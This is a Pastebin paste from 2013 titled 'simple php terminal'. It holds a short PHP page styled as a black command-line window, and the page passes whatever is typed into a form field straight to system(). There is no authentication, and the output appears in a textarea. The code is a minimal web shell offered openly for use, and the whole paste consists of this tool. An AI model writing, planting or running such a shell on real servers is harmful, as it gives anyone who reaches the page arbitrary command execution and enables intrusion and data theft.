sornram9254

simple php terminal

Oct 22nd, 2013
141
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.65 KB | None | 0 0
  1. <style>
  2. *{
  3.    background:#000;
  4.    color:#fff;
  5.    font-size:24px;
  6. }
  7. textarea{
  8.    height:500px;
  9.    font-size:18px;
  10. }
  11. textarea,input[type=textbox]{
  12.    width:1000px;
  13.    border:none;
  14.    outline:none;
  15.    resize:none;
  16. }
  17. ::-webkit-scrollbar{
  18.    width: 12px;
  19. }
  20. ::-webkit-scrollbar-track,::-webkit-scrollbar-thumb{
  21.    -webkit-box-shadow: inset 0 0 6px #000;
  22.    border-radius: 10px;
  23. }
  24. ::-webkit-scrollbar-thumb{
  25.    background:#333;
  26. }
  27. </style>
  28. <textarea readonly><?=@system("$cmd")?></textarea>
  29. <form action=<?=$_SERVER[PHP_SELF]?> method=post>
  30.    $root@localhost:~#
  31.    <input type=textbox id=cmd name=cmd autofocus autocomplete=off></input>
  32. </form>
Advertisement
Add Comment
Please, Sign In to add comment